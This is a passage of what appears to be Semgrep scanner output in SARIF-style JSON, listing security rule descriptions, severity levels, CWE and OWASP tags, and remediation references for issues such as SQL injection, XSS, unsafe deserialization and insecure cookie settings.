disabled public endpoint access"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","id":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","name":"terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-public-endpoint-enabled.eks-public-endpoint-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.seam-log-injection.seam-log-injection","id":"java.jboss.security.seam-log-injection.seam-log-injection","name":"java.jboss.security.seam-log-injection.seam-log-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.seam-log-injection.seam-log-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"help":{"markdown":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version)\n - [https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm](https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/meta_pages.htm)\n","text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"helpUri":"https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","id":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","name":"generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string","id":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","name":"java.lang.security.audit.formatted-sql-string.formatted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"help":{"markdown":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If an attacker can supply values that the application then uses to determine which method or field to invoke, the potential exists for the attacker to create control flow paths through the application that were not intended by the application developers. This attack vector may allow the attacker to bypass authentication or access control checks or otherwise cause the application to behave in an unexpected manner."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","id":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","name":"go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name","properties":{"precision":"very-high","tags":["CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.unsafe-reflect-by-name.unsafe-reflect-by-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","id":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","name":"python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.flask-hardcoded-database-password-uri.flask-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","id":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","name":"python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pyyaml-django.tainted-pyyaml-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"help":{"markdown":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"`serialize-javascript` used with `unsafe` parameter, this could be vulnerable to XSS."},"helpUri":"https://semgrep.dev/r/javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","id":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","name":"javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript","properties":{"precision":"very-high","tags":["CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.serialize-javascript.security.audit.unsafe-serialize-javascript.unsafe-serialize-javascript"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `stat` and then the file is used. There is no guarantee that the status of the file has not changed since the call to `stat` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","id":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","name":"cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-stat-before-action.file-stat-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"help":{"markdown":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_cluster#enabling-control-plane-logging)\n - [https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html](https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html)\n","text":"Missing EKS control plane logging. It is recommended to enable at least Kubernetes API server component logs (\"api\") and audit logs (\"audit\") of the EKS control plane through the enabled_cluster_log_types attribute."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","id":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","name":"terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","LOW CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","OWASP-A10:2017 - Insufficient Logging & Monitoring","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.eks-insufficient-control-plane-logging.eks-insufficient-control-plane-logging"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdo-sqli.jdo-sqli","id":"java.spring.security.jdo-sqli.jdo-sqli","name":"java.spring.security.jdo-sqli.jdo-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdo-sqli.jdo-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'Secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'Secure' flag by setting 'Secure' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","id":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","name":"go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-secure.session-cookie-missing-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.diesel-taint.diesel-taint","id":"rust.hyper.sql.diesel-taint.diesel-taint","name":"rust.hyper.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution.  Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-numpy.pickles-in-numpy","id":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","name":"trailofbits.python.pickles-in-numpy.pickles-in-numpy","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-numpy.pickles-in-numpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/query-builder.html#security-safely-preventing-sql-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"`$QUERY` Detected string concatenation with a non-literal variable in a Doctrine QueryBuilder method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","id":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","name":"php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-orm-dangerous-query.doctrine-orm-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure HTTP connections. The `NSAllowsArbitraryLoads` and `NSTemporaryExceptionAllowsInsecureHTTPLoads` property keys can be used to allow HTTP for all domains or a particular domain respectively. HTTPs should be used in all cases, to ensure secure communications - protecting data in transport."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","id":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","name":"swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-load.ATS-arbitrary-loads"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/user/session/session.go#L69)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Options struct."},"helpUri":"https://semgrep.dev/r/go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","id":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","name":"go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.security.audit.session-cookie-missing-httponly.session-cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"help":{"markdown":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-constant data passed into an LDAP query. If this data can be controlled by an external user, this is an LDAP injection. Ensure data passed to an LDAP query is not controllable; or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-injection.ldap-injection","id":"java.lang.security.audit.ldap-injection.ldap-injection","name":"java.lang.security.audit.ldap-injection.ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-injection.ldap-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into HttpResponse. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","id":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","name":"python.django.security.injection.reflected-data-httpresponse.reflected-data-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: 